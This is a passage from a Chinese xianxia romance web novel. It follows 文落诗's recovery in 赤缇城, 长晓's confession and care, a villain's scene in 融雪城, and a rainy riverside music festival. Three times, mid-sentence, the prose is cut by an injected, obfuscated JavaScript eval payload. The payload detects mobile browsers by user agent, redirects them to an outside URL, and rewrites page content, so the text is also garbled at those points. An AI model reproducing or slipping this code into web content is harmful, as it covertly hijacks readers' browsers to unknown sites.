这姑娘心大,从一开始他就发现了。平日里搂搂抱抱,动不动就把她揽入怀中,她都不在乎。只要别碰到她的脸、手、或者别处露出的皮肤,就什么都不成问题。换句话说,只要没有实质性的肢体接触,隔着衣服,做什么都行。 而且,她好像对这方面的反应很是迟钝。这么多次了,她根本不知道他想表达的是什么意思,好像跟任何一个人都可以这么搂搂抱抱的,极为平常似的。 这件事,长晓很是郁闷,郁闷很久了。 不过现在看来,她有点开窍了。 文落诗继续道:“说回最开始的话题,你在我身上砸了这么多名贵药材,我不能白用,接下来的路上要是有需要出钱的地方……” “落诗,”长晓截住她的话,难得面色严肃起来,“我不喜欢你事事都跟我分得这么清。” 文落诗眨眨眼,没说话。 “我稍微多照顾你一点,你就要和我掰扯这个那个,把所有感情都去物质化。你我又不是刚认识,别总是这样。” 文落诗抿了抿嘴唇。 长晓静了一会,像是有些犹豫,却最终还是轻轻启唇: “给我点机会,让我对你好些。” 此话一出,空气中满是飘摇的沉默。 文落诗抬眼,对上这句沾满情愫的话语。 她见长晓面色如常,连嘴角的弧度都平淡无奇,看不出过多的情绪波动,可他那轻轻下斜的眼尾,瞳仁中翻涌着风和雪,以及暗哑的声线,都如同一道道流星,慌乱地从高空中赶路而来,坠入她的心间。 她知道了。 这种话,不可能是一般的朋友能说出来的。 意识到此,至于具体感受是什么,她也很难说清楚。只觉得心下酸酸的。有些从来没想过的事情摆在面前,她还没做好准备去应对,也清楚知道,内心深处其实不愿意面对这些。下意识间,甚至说得上是有些抵触。 “我知道了。” 她很想像往常一样,装作听不懂或者不在乎,直接扯开话题,绝不去正面回应。但她这次,心实在太痛,怎么舍得。 可是,仅限于这一句。不能再多了。 她快速转移话题,重新开口: “我那天把至少一半的法力用去布置各处结界,才会在敌人面前显得如此不堪一击。但是,我使出最后一招之前,忽然就觉得身上轻松了,是不是你……” 长晓很明显还停留在方才的情绪之中,一时间面色如死水,泛不起任何波澜。见她如此轻易结束了这个话题,他有些恼意,却并不觉得意外。大约是猜到了她的会如此反应。 文落诗本想抛砖引玉,见他不说话,只好把话说完:“是不是你来找我之前,已经在各处结界上帮了我一把?” 长晓整理好情绪,叹出一口气:“我先回到扶桑楼,看到楼外的结界,就知道已经大事不妙。我进楼之后,何掌柜跟我说你出去了,但去了哪里,他也不知道。” 文落诗这才反应过来:“哦是了,那会时间紧,我真怕归影的人天黑之前动手,就火急火燎出门了。” 长晓看着她,眼眸一眯:“扶桑楼是我在赤缇城的掌舵处,故而有临渊寻魔石能监视所有商铺,我当时一看,所有商铺上空都有粉色结界,气息还都弱到快撑不住,你知道我有多害怕吗?” 文落诗抿嘴:“然后你来找我的路上,就顺便帮我稳固了所有结界?” 长晓冷声道:“我直接在所有结界上又罩了一层,顺便也把所有攻击结界的那群人全灭了。” 文落诗听到此处,倏忽抬眼,面露惊讶。 “怪不得……”怪不得她一下子就轻松了,体力不再流失。因为归影那群人,再也攻击不到她用生命支起的结界。 “更重要的是,你之前给过我炼化的翠羽传意石,你情况如何,我有反应。” 文落诗神色一顿。对啊,还有这事,她都差点给忘了。 “快要赶回赤缇时,我就感受到传意石的气息不对劲,波动重大,甚至有透支之势。当时我就知道你出事了。后来回到扶桑楼时,传意石剩余的气息寥寥无几,我在赶去月影酒楼的路上,生怕下一刻传意石的光会忽然灭掉。” 文落诗没说话。 她当初给长晓准备生辰礼物的时候,之所以选择了炼化翠羽传意石,是想让两人有个照应,哪怕相隔千里,亦能感知到对方的状态。她本想的是长晓容易出事,毕竟他身份特殊,身边如同群狼环伺,指不定哪天就碰上暗杀,届时她有感知,可以去帮忙。 结果,翠羽传意石第一次发挥作用,竟然是因为她出事,长晓来救她。 文落诗心头有点闷。原本想着救别人,结果反倒成了让别人来救自己。想清楚后,她暗自下定决心,一是待病好后要更加勤奋修炼,让自己修为更高些,二是减少让自己受伤,否则从今往后,她受伤,再也不是她一个人的事情了。 长晓凉凉地看了她一眼,语气却藏不住心疼:“我还是刚刚那句话,不许再干这种不要命的事。” 文落诗点点头。 结界这件事,她其实很好猜到。但出乎她意料的,是另一件事。 她给扶桑楼设的结界,除了她自己,没人能随意进出。若是修为在她之上的人强攻,她会有反应。 但是长晓穿过结界,进入到扶桑楼,她统统不知。 这就代表着,还有一种可能。 结界还对一种人不设防——这人与自己极为亲近,且自己完全信任。 长晓能毫无阻碍进入她设的结界,她一点都没感受到……文落诗不敢再细想下去。 于是,她再度转移话题,以分散自己的注意力:“我晕过去之前,隐约记得虚灵死了,是归影给他下的药?” 长晓其实方才也在想结界对他竟然不设防这件事。他知道文落诗肯定能想到这一点,所以一直在观察她的表情,心里有那么一点希望,想捕捉到她的表情变化,哪怕是一瞬间的细微变化。 可是她似乎没什么反应。 罢了,来日再提。 “对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421951|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚灵不知道我是谁,但估计知道了很多不能知道的事情。归影那群人都是过河拆桥的风格,事态败露至此,他不可能留虚灵性命。” 文落诗轻咬一口下嘴唇,声音极低极轻:“我是不是,也知道了很多不能知道的事情啊?” 长晓怔然,抬手抚过她的后脑勺:“你没什么不能知道的。我早就说过,如果你想知道,我什么都告诉你。” 文落诗暗自摇了摇头。 “放心,我这里只有一劳永逸,没有卸磨杀驴。”长晓轻轻一搂她的后脑勺,将她重新揽入怀中。 文落诗身体本就没什么力气,此刻被他一抱,顺势软在他的怀中,不带一丝力气。她把头轻轻靠在长晓的颈间,不经意间,用侧脸去碰了碰他胸口处的肌肤。 “在你来之前,我的意识已经很模糊,很多事情记不得。那个,月影酒楼是不是被我炸了?” 长晓的手指抚过她的乌发,眼神也变得轻柔:“是。你的本源魔力太强,失控的时候爆发而出,炸毁了月影酒楼。当时整个酒楼碎为齑粉,直接变作废墟,现在早已是一片平地。” “那酒楼里的人……” “都死了。一个都没留。不是被你所杀,是酒楼的碎片冲击太强,细密削入他们身体之中,不留丝毫活路。” 文落诗沉默。 “归影手下的人,就没有干净的,即便这次他们逃脱,我日后也会出手除掉。所以,此事你不用有任何压力。他们本就是作恶多端之人。” 文落诗颔首。和长晓在一起相处这么久,这些她都明白。哪怕以前不懂,现在也慢慢懂了。她甚至还在最早的时候劝长晓,千万不要因为顾虑她而心软。只是她觉得太残酷,往往不愿意去想。 是时候该调整自己的心态了。 “归影呢?”问出这话之前,文落诗其实已经知晓答案。 不料,长晓话锋一转:“我没杀他。” 文落诗疑惑挑眉。 “你晕过去之后,我抽出了他的记忆。所以,他对你做了什么、说了什么,我全都了解。你不知道我当时有多生气。” 文落诗心道也是,肯定生气。归影那股浑劲,她要不是因为实在打不过,早就把他大卸八块了。 不过长晓够狠。二话不说直接抽了他的记忆,那种感觉估计生不如死。 “我有个朋友,对刑罚很有研究,这些年我从她那里学了不少。后来我把归影困在法茧里,折磨得他只剩下最后一口气,把他扔回融雪城里,让他给他主子报个信。” 文落诗似是没想到长晓这么处理,抬眼问道:“你是想借此警告对方?” “嗯,”长晓眼瞳漆黑,面色染上一丝轻蔑,“还有就是,他回到他主子身边的下场,会比死在我说里,惨很多。” 文落诗轻轻呼出一口气,点点头。 事到如今,他倒是丝毫不瞒,什么都跟自己说。这些话,每一句对于往日的她来说,都是巨大的冲击,一时半刻承受不住。而如今,这些话接二连三袭来,她倒是觉得,心脏之上不知何时已镀好一层铂甲。现在的她,没那么害怕畏缩,也没那么胆战心惊。 就差把最后一层窗户纸捅破,把两人都知道的一切,放在明面上说。 但是,算了。 至少,不是现在。 长晓没再说话,只是静静看向窗外,仿佛在想很多事。 只不过这次,他的预判还当真出了差错。 归影并没有死。 103. 一曲高歌动红绸(二十二) 九重天,融雪城。 阴沉的府邸内,一人姿态随意放松,百无聊赖瘫坐在屏风前的软榻上,衣领微松,宽大的衣袖垂到地面,拖出逶迤的弧度。 听到跪在面前的那个血肉模糊的人颤抖着叙述着这些天的事情,他“啧啧”两声,饶有兴致地抬起头,眼神中尽是无辜的好奇。 “这事新奇了。”说着,他给自己抓了几把瓜子,又随口把瓜子皮往身边一吐,落了几片在面前归影的膝盖上。 而归影低头,呆呆看着带吐沫的瓜子皮飘到自己身上,大气不敢喘。哦不对,他这个身体状态,也没办法喘大气了。 于是,只见他瑟瑟发抖,回应道:“属下也觉得这事新奇了。” 坐榻上之人懒懒散散换了个姿势,思考了一番,自言自语道:“我看着他长大的啊,就他那性子,没人比我更清楚了。这么多年,多少女人往他面前凑,他连个眼皮都不带抬的,这次是咋了?脑子忽然出问题了?” 归影实在不敢接这话。毕竟,不管得罪了谁,他此刻的下场都只有惨和更惨的区别。 “那个啥,”塌上之人揉揉眉心,“你说你查了那个文姑娘,什么都没查出来?” 归影颤抖道:“是,属下认认真真查了她的身世,当真一清二白,且她身份低下,特别普通,跟朝廷更是八杆子打不着的关系。” 塌上之人随手甩开剩下的瓜子,一脸无奈。他倒是不怀疑归影查人的能力。往日里他甚至也不怀疑归影办事的能力,除了这次。 “嘶——有意思。”他思考了一段时间,挑眉道,“之前我这边也有几个人折在她手里,我还当她是个临时冒出来的,不会纠缠太久。现在看来,她非但没走,还让你们全都败在她手里了。你说,到底是因为她确实是个厉害角色,还是你们都太弱了?” 归影反应了好半天,才喃喃道:“您是说,您之前就知道她?而且,她还……” “失策了,哎呦。我以为她没两天就走,谁想到粘了这么久。”那人也很是无奈,似是事情完全出乎意料。“还真得因为她,改改后续计划。” 归影龇牙咧嘴:“早知如此,属下绝不会狂妄到和她硬碰硬,扰局之人,就应该找机会把她直接毒死算了。” “那不行,千万得留着她。这么有意思的一件事,我还没看够呢,怎么能草草收尾?” 归影一时不知道该说什么。 “行,没你事了,哪儿凉快哪儿待着去吧。” 归影大惊:“大人,您……” 您不杀我? 塌上之人忽然换上一副神秘的笑容:“将功补过了呀。” 见归影还在愣神,他又笑吟吟开口,用极为轻松的口吻继续道:“你跟我说了这么大件事,我今儿心情好,你就以后再死吧。至于别的,你修为已经被他废了吧?那正好,都不用我出手了。别碍眼,赶紧走。” 说罢,他大手一挥,归影像皮球一样飞出屋外,一摊烂泥模样的身体重重的摔在院子里,溅出无数滴墨绿色的血珠。 归影战战兢兢支撑着身体爬起来,趴在地上,用残破的袖子把血珠全部擦干净,才一瘸一拐地离去。 而屋中那人坐起身来,眯着眼睛看了看桌案上下了一半的棋盘。 “有意思……一个随随便便的小棋子,竟然跳出来公然挑衅执棋之人,啧啧,真是有意思。” 说着,他长袖一拂,满盘玉石棋子叮叮咣咣落地,如同淅淅沥沥的雨,打在地上,先后摔成无数碎片。 他走到屋中那块巨大的临渊寻魔石旁,指尖抬起,石镜上五颜六色的画面悄然涌出。 “行啊,继续跳,让我看看你怎么跳。” * 三重天,赤缇城。 自打文落诗醒来,她的身体迅速好转。长晓那些千金难求的药材一个接着一个地往她身上砸,跟不要钱似的,给她受宠若惊坏了。 但每次她表示不敢用,长晓的脸色都是一冷,那种低气压瞬间蔓延开来,能吓死她。再或者,长晓也懒得跟她辩解,直接坐在床边,强制喂她喝药,一勺一勺亲自喂,也根本不管她张嘴时心脏跳得多厉害。 久而久之,她只能调整自己的心态,选择去心甘情愿接受这些。 有时候她实在忍不住,问出一句:“这些都是你私库里的啊?” 长晓依旧是抬起长长的浓密的睫毛,淡淡一笑,慵懒地反问:“不然呢?我还不至于假公济私。” 可能是都知道,如果再聊下去,下一句会说什么,两个不约而同选择了就此打住。 文落诗毕竟伤及本源,还差点把本源全部耗尽,再好的药材伺候,也得静下心来养个一年半载才能恢复如初。赤缇城环境优美,民生安稳,很适合过日子,而扶桑楼又正好是长晓手里最大的几个产业之一,所以长晓丝毫没有犹豫,和她在这里继续住了好几个月。 美其名曰养伤,实则,文落诗觉得,长晓是想借此进一步培养感情。 从他每天来看自己,亲手喂自己喝药,就显而易见。 感情啊。 自从想通这件事之后,文落诗也没那么害怕和排斥了。 她只是觉得意外,完全地、彻底地意外,甚至觉得自己的种种反应和情绪不可置信,反反复复怀疑了好久。 这么多年,她一直坚定以为,情爱这两个字,跟她一辈子不会扯上关系。哪怕她从小就看各种甜到掉牙的话本子,到现在也依旧爱看。哪怕她身边的各种朋友都在不断地追求、或者已经有了长厢厮守的人。 但是时至今日,这个过往将近一千八百年的观念,似乎正在动摇着。她好像在进入一种全新的世界,面对一种全新的生活状态。 ——既是因为她真心愿意接纳长晓,也是长晓已经对她做了太多,她不得不回报这个恩情,愿意让他每天高兴些。 这些临时的,她还是给得起的。 但都不重要。只要守住了内心最深处的原则,也清楚知道两人承诺过,旅行的最后,到了融雪城,就会分开,那现在这些也没什么大不了的。 长晓对她有心思。她对长晓也有。但这都只是刚开始,没到不可挽回的地步。 她习惯了一个人生活,从来不考虑除此之外的生活方式。 她也习惯了一个人安稳,从来不考虑每天站在风口浪尖上的生活方式。 而且,两个人之间的身份太过于悬殊。哪怕清楚魔界这里只看感情、不看门第,她也不想顶着这么大的压力去高攀。 再者,她毫无背景,就算两人真的在一起,她什么都没有,没办法给长晓任何助力。从这一点讲,融雪城内任何一个有家世的姑娘,都比她合适太多。大战将近,这里当下的处境可以说是内忧外患,比天界惨多了。这个时间点,她往长晓身边凑,只会添乱。 故而,从任何一点讲,他们两个,都不可能、也不应该有结果。 她一向很清醒,知道自己要什么,不要什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433643|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 至于长晓……反正他们两个的事情,也没什么外人知道。就算有人知道了,也只不过是一段极为短暂、不起眼的露水姻缘,她离开后,不会对长晓产生任何影响。 就像是日暮之时,偶然飘到山巅之上的一片落叶。停留了一宿,破晓之时离去,山巅依旧巍峨,不会因这一片小小的落叶而有任何改变。 最重要的是…… 他们都能靠自己一个人活得很好。不需要依赖另一个人而活。 她相信,在她离开后,他们都还有很长的路要走。那时候长晓若是真的有这方面心思,也一定能在以后的路途中,遇上更合适的人。 那个人会比自己更爱他。会陪他在明枪暗箭的政坛漩涡中傲然挺立。会陪他一起站在九重天的山巅上。会陪他开开心心地,走过接下来很长的后半辈子。 所以,不可惜,不遗憾。 若是问她真正是什么情绪,那她顶多会叹一口气,说一句“算了”,或是“就这样吧”。 * 接下来一年多的时间,文落诗在赤缇城内,目睹了大雪消融,冬日落幕,春意萌发,翠跃枝头。 反正闲来无事,她经常在前楼和后院坊间走动,人们见了她也频频问好。有时,路过假山石和小池塘,冬年里最后一场白雪轻柔压在红灿的梅花上,别有一番风韵。文落诗披个厚实的斗篷,在树下一坐就是大半天,听雪簌簌落在池塘的冰面上,看树上的花凌霜盛开。直到长晓说她身体情况太差,催她回屋取暖。 偶尔找个教习处,她也悄悄在后排坐下来,听听课,拿出长晓送她的蓝玉石琴,随手拨楞几下,弹弹许多年没弹过的曲子,还能得到长晓这个高人的夸奖。 这样毫无压力、随心所欲的生活,她从来没想过,自己竟然也可以拥有。 经常有人见到她,蹦蹦跳跳跑过来,说谢谢她送的糖。文落诗经常惊讶,这些看起来平平无奇、只是个扫院子的小厮模样的人,竟然也参与了之前那么复杂的查案。好几个人问她,到底该怎么称呼她,文落诗隐约知道他们想问什么,但面色不动,依旧笑笑说,当然是还叫我文姑娘。 后来,乍暖还寒时候,她这个体寒严重之人窝在屋里不愿意出门,整天没日没夜地写新稿子。长晓不想让她每天这么累,又怕她无聊,给她从外面买来了好几十本话本子。 文落诗盯着那一摞花花绿绿的话本子,一时哑然。 随后,她从几十本里挑出五六本。长晓问她怎么不看别的,她十分无奈,说剩下的那些,自己以前全都看过。 说实话,长晓那一刻彻底惊呆,刷新了对她的认知。 随即,他也随手拿起一本属于“文落诗看过”范畴的话本,正打算翻开,被文落诗急火火一把抢了过来。 “你别看!你千万别看!教坏了你!” 长晓思考了半天,这些书,他好像都是从正规的书局里买的啊。 那个,大概……是的吧?但愿他手下那群人办事的时候有点脑子,不至于乱来。 后来,晚上,长晓在文落诗已经睡着之后,给她施了个昏睡诀,保证她不会醒来后,便把她白天拼死守护的话本子翻开。 草率看完之后,他嘴角抽了又抽,再次刷新了对这个姑娘的认知。 平时见她老老实实的,高风亮节、冷冷清清,怎么看怎么正经的一个人,谁能想到,她这些年装进脑子里的全是这些。 这都什么乱七八糟的东西。 104. 一曲高歌动红绸(二十三) 再后来,文落诗的法力恢复了。 之前为了彻底体内的重塑经络,长晓自作主张,极为强势地封死了她的所有法力,导致她连个传信都收不到。后来她重新下床活蹦乱跳了,长晓也给她解开了身上的法力。 因祸得福,全身经络被疏通了一次,她的修为又有很大提升。 刚解开封印的那一瞬间,无数道黑影在面前涌出——那是一道道关心她的传信,来自她以前或是近来认识的人。 对付归影那一夜,动静毕竟太大了。赤缇城安稳了成千上万年,就算是昔日的战争也波及不到,从未经历过那么紧张的时刻。 记得那日,无数人目睹城内的很多商铺上忽然多了结界、遭遇人攻打。再后来,听闻一个姑娘以一己之力炸毁了月影酒楼,除掉了所有作恶多端之人,解决了这场浩劫的罪魁祸首,使赤缇城重新归于平静。 也不知道是谁传出去的。反正结果就是,文落诗一瞬间成了无数人心目中那个挺身而出,为了保护城中百姓,不惜与敌人拼命的大英雄。而她这个名字,也一下子在四面八方传开。 她成了一个很瞩目的存在。 虽然传言大部分属实,文落诗也确实做了这些事情,但是……她真的不及传言中那么厉害啊! 而且,不知是长晓故意派人隐瞒还是怎的,没人知道是长晓救了文落诗,也没人知道这件事其实只是归影和长晓的一次交手。大众只知道坏蛋来了,文落诗站了出来,甚至差点赔上自己的性命,而最后她被一个好心人所救,暂居在扶桑楼后院里养伤。 对此,文落诗愁的是,她并不想变得这么出名,被人捧得这么高。 不仅受到无数的关注,而且她那个“在写话本成名前,不能让这个名字之下有别的事情”的理想,终究是彻底破灭了。 不敢说名扬四海,但至少赤缇城内,她的名字人尽皆知。距离在九重天之内传开,也不远了。 怎么说呢……有点体会到长晓以前过的那种万人瞩目的生活了,不敢出一点差错。 不过幸好,大多人只闻其名,不知其人。 只是近来,愈发有传言道,文姑娘不仅修为极高、能以一敌百,还心地善良、忧国忧民,为民间除恶平乱。最重要的是,传言她姿色绝顶、倾国倾城、如花似玉,虽然看上去冷冷清清、难接触,但看一眼就能让人难以忘怀。 ……也不知道是哪个游手好闲的人,给她按上的这一连串名头。都快赶上她写话本的时候,给人物蓄意堆砌的那些描述了。 她甚至不敢去问这里面有没有长晓的手笔。如果有,有多少。 但文落诗本以为,能把她的名字和脸对上的人并不多,所以无甚在意。直到某一次她出门溜达闲逛,在买糖炒栗子的时候,被路边一个完全不认识的人一眼认出来。紧接着,无数人涌上,将一堆药材送到她面前,问她需不需要。 …… 她有些招架不住,且内心真的无语了! 好在,逃回扶桑楼,过了几天,长晓知道此事后,安慰她:“都是正向的传言,对你没坏处,完全不用担心。至于为什么有人能认出你……你这张脸,嗯,确实,被人看一眼就能记住。” 文落诗不解:“我这张脸很好记吗?” 她真心不觉得啊。 长晓摇摇头,认真看着她,一本正经道:“不是这个,是你太好看了。爱美之心人皆有之,谁都喜欢看美人。而且你不是那种俗态的华丽艳丽的美,是一种极为清冷的气质绝然的美。” 虽然早就知道,长晓在日常中,对这类事情的表达都很为直接,但今时今日听到这么一句,文落诗还是没忍住,嘴角使劲一抽。 所以,这就是你这两天把我锁在院子里,不允许我再出门的原因吗? 别人都不许看美人,只能你一个人看,是吧? 不过她从小到大,可能确实疏于打扮,很少有人夸她好看。有过,但是不多,起码不像现在这么频繁。故而,她对自己的容貌怎样,可以说是一无所知。也就是这几年,被长晓一通精神疏导,让她明白了“爱美也是自爱的一部分”这个大道理,她才开始认认真真打扮自己,没事给自己修个眉毛,偶尔上街的时候顺手买盒口脂——虽然她依旧懒得过度打扮,舒允那个程度她真学不来,只要铜镜里的人看上去顺眼就行了。 也确实,这几年她出门,明显感觉陌生的盯着她看的目光变多了。 “你要是真在乎别人盯着你,出门带个幕篱。反正我之前也见你带过。”长晓语气很是随意。 文落诗想了半天,才想起来自己是当着长晓的面带过一次幕篱——在参商镇,被他气哭到眼睛肿的那次。 她一撇嘴:“你还有好意思说啊。” 长晓不理会她这话,忽而一笑,温声道:“身体好得差不多了,该出去走走,有什么打算吗?” 文落诗正是为这事而来,便道:“我前阵子收到一个朋友来信,说她遇到点问题,问我有没有时间去帮帮她。她在日月城,在第四重天上,就往上走一重天。我想着,等过段时间,休息够了,就去找她。” 长晓没意见,却思索一阵,疑惑道:“她知道你受伤了吗?” “知道,在信里嘘寒问暖半天,也说了我一时半会过不去没关系。” “那她自己的事情,不着急?” 文落诗摇头:“她说一点都不着急。” 长晓顿时好奇:“她这是遇到的什么问题,还能不着急?” 不料,文落诗沉默一阵,眼神移开,似是下定决心才开口。 “感情问题。” 长晓瞬间睁大眼,似乎觉得此事不可置信,哑了半天没说出话来。 文落诗凉了他一眼:“你这是什么表情?” “不是,我有点不理解,”长晓难得表情很是僵硬,一字一句问道,“你一个以前从来没有过感情经历的人,去帮别人处理感情问题?” 文落诗差点当场翻白眼,呼出一口气:“我阅读经验十分丰富,纸上谈兵不在话下。而且对付一般人的话,足够。” 长晓哑然,瞠目结舌,像是重新认识她一样。 “别这个表情看我,”文落诗给自己剥了个橘子,一瓣一瓣塞进嘴里,悠闲道,“但凡会写话本的,都十分擅长处理这种事情,毕竟我们天天写。不信的话,你回头有机会,问问覆雪。我敢肯定,有人在感情问题上找她帮过忙。” 忽然提到覆雪,她想起之前那封来信,补充道:“对了,覆雪之前在托人告知我,说想让我认识一个人,但没说名字。前段时间她给我来信,说此人近几年在日月城中。我想着,正好这两件事一起办了。” 长晓对此没意见,但依旧在思考“感情问题”这四个字。他盯了她许久,从她手里抢下来最后一瓣橘子,没说话。 文落诗眼睁睁看着他柔润的双唇轻启,那瓣橘子进了他的嘴,只好眼神直直地表达惋惜。她继续道:“而且,不止我们这些人,很多人都擅长。比如彦月。就他那个啰嗦的劲,我都懒得说他。” 长晓一怔,思考道:“也是。” 彦月是真的非常神神叨叨,特别是在别人遇到感情问题的时候。当时在稀音城,他刚对文落诗有意时,彦月就对他好一通劝说,没完没了的那种,到最后他都快崩溃了,比平时多喝了好些酒。 或者说,那不叫劝说,而叫劝退。 把他那一堆废话总结起来,就是一句话——别追文落诗,没结果。 不过现在看来,他没搭理彦月的话,是对的。这个姑娘此刻就坐在他跟前,陪他走了这么久,每天跟他搂搂抱抱的,关键时候还坚定保护他。他心满意足。 不过,也不知道她什么时候能静下心来,想想她自己的感情问题。 “什么时候动身?”长晓问道。 “不着急,这里春天的景色很漂亮,我想再住一段时间——如果你同意我继续蹭吃蹭住的话。” 长晓当然没意见,想到什么,又道:“来赤缇这么久,你去过河边吗?” 赤缇城有河道,名为不归川,传言河水来源于九重天上,蜿蜒绕道赤缇城,直至消失在第三重天尽头处。此河横穿整个赤缇,将城内分为南北两半。而城外的各处庄稼地、麦田、稻田,也得益于不归川的滋养。田野的后方是青山,有不归川的支流淌进山里,成为溪水,也是一处踏青的极佳之地。 “偶尔路过,河上船很多。”文落诗回答。 “每次暮春之时,城内的不归川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439527|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畔有节日。独属于赤缇城的节日。” 文落诗一听来了兴致:“我以前在书上看到过,但是这个节日似乎没有名字?” 长晓颔首:“与其说是节日,不如说是赤缇城人一轮回一度的欢庆。这里的人认为,春年,与曲乐的灵感,一脉相承。” 文落诗第一次听说,觉得这事很有意思,便继续好奇道:“那为什么会是暮春之时?” 在天上,暮春是春年里后四个月,也就是季月。 “季一月是一年中的第九个月。因不归川源自九重天,尽于三重天,这个节日便定于季一月初三。按照凡间的算法,应该叫九月初三?还有一个说法是,暮春象征流逝,而往往灵感亦是转瞬即逝。在此时团聚高歌,可留住那些不经意间流失的灵感,让赤缇,或者说这个行当,经久不衰。” “受教,”文落诗感慨道,“我看的书还是太少了。” 长晓伸出手,拨开她鼻尖的一缕发丝:“这种事情往往都是口口相传,民间习俗,没什么明文规定。” “那往年暮春这天,大家会在不归川旁做什么?”文落诗不经意间往长晓身边挪了挪。 “不好说,有人鼓瑟吹笙,有人乘船赏景,也有人把往日里房檐瓦当上的红绸缎带到河畔,让红绸沿着不归川,一路蔓延至视野消失处。” 文落诗听得入神:“听起来好浪漫。” 长晓颔首,眼中春波荡漾:“独属于赤缇的浪漫。” * 后来,季一月初三那天,长晓带文落诗来到不归川旁。 春水流淌,柳绿花红,人们在河畔三三两两坐下,敲着鼓,唱着歌,歌声连绵不断,融进春日里河畔的风中,飘在白云之上,踏过浅草之下。 一首新曲,唱到下阕最后几句,天色转暗,大雨倏然而至,顿时将还未近黄昏的天地染得沉闷。 淅淅沥沥的雨点落在水中,岸边红绸随风起伏、翻涌、舒展。有绸绫被吹落,浸入水中,将不归川染成氤氲的红色,蜿蜒千里。 这是春年以来,第一场大雨。 而众人咿咿呀呀的歌声并未随雨至而停息,反而随着雨声愈唱愈浓。 仿佛大雨中,一切从未流失。雨将整个赤缇染成红色,红得浓烈,红得透彻,红得动人心魄。而人们纷纷在燃烧着那个名叫生命力的事物,来呵护这座永不落幕的城。 不知是谁,拍了拍被雨水淋得声音有些闷的鼓。紧接着,有人手中的筝上泛起花指,在雨中刮奏不断。 不知是哪片云下,一人起头定调,将方才的曲子再唱一遍。 众人纷纷轻声和。 无人意兴阑珊,亦无人撑伞。 文落诗拿胳膊碰碰长晓,低头,雨水包裹着她的声音:“你的曲子?” 长晓轻轻“嗯”了一声,见她疑惑,又道:“近日新写的。” 随后,那双低垂的眼眸微微抬起,隔着千万层雨水望过来。 ——像是在兑现一个最初的承诺。 文落诗当然懂他的眼神在说什么。那是两人初遇之时,他挽留她的一个拙劣借口。 她抿了抿唇上的雨水,掀起挂满水珠的睫毛,轻声回应:“淋过雨,你不再是下雨前的那个人。” 今日不同往日,今时不同当初。两人都没想过,涉过往日的河水,今时今日,他们会共同立于不归川畔,共赏雨中乐音。 再后来,回去的路上,文落诗偶然注意到,初来赤缇那日走过的破旧小巷中,那把被遗弃的琴,不知被谁捡走了。 一个不知名的梦,或许从此开始。 长晓也停下脚步。许久后,他眸中染上层层情绪,低低开口。 “我曾经的第一张琴,也是在废弃的巷口捡回来的。那天也下了雨,我偷偷溜出家门,找到了人生中第一张琴。” 文落诗听闻此言,震惊至极,唏嘘不已。 她只觉得,大约,梦这种无法用语言说清楚的事物,是会延续的。就像那首雨中坚持着继续唱下去的歌,河水之中那袭延至远方的红绸,或是每一个轮回都会迎来的、万物回暖的春天。 春雨之中的赤缇城,如幻梦般的丝竹乐。 暮春者,春服既成。 风乎舞雩,咏而归。 105. 满塘浮萍写日月(一) 文落诗身体大好后,变得比往日更加活蹦乱跳。她平时是沉稳的性格,不爱有大动作,大约是这次伤得太重,压抑了太久,自打身体痊愈以后,整个人精神抖擞,动不动就往外跑。 去到日月城之前,文落诗兴致勃勃拉着长晓在赤缇城之外的田野里玩了好几天,又去旁边的山里转了转,才恋恋不舍离开。 “我稿子写不下去了,来找找灵感。”她给出游快速赋予了新的含义。 长晓也完全乐意,任由她胡闹,看着她在田野里蹦蹦跳跳奔跑,兴高采烈地帮人们挖萝卜,只是静静坐在稻田边笑着。 他也没经历过这种生活。以前的环境中,他甚至想象不出坐在田野里是什么感觉。 不一会,文落诗开开心心拎着一大把萝卜跑到他面前,脸上还沾着几丝泥土。 “快看!我从来没听说过的新品种!” 长晓看向她手里的一把萝卜,各个都是又粗又长,表面呈血肉的颜色,与皮肤相似。 “萝卜不都是红色或者白色的吗?怎么会有这种颜色?”他问道。 “所以说是新品种呀,最近这里的人刚培育出来的!”说着,文落诗把萝卜随意往地上一扔,拍了拍手,蹲下来。 “这种萝卜最特殊的就是——可以变大!没想到吧!” 长晓静静低头,看着文落诗用两只小白手在地上拨楞,不一会挖出一个小坑。小坑很深,不大,萝卜大概恰好能塞进去。 然后,文落诗拎起放在一旁的萝卜,眼神坚定地盯着地上的坑,把萝卜认认真真塞进去。 “就可以啦,是不是特别简单?” 长晓看得一愣:“萝卜不都是把种子撒在土里,之后慢慢长出来吗?” 文落诗白了他一眼,重复道:“这是新品种,新品种,刚培育出来的。” 紧接着,她拉着长晓往旁边的萝卜田里冲过去。 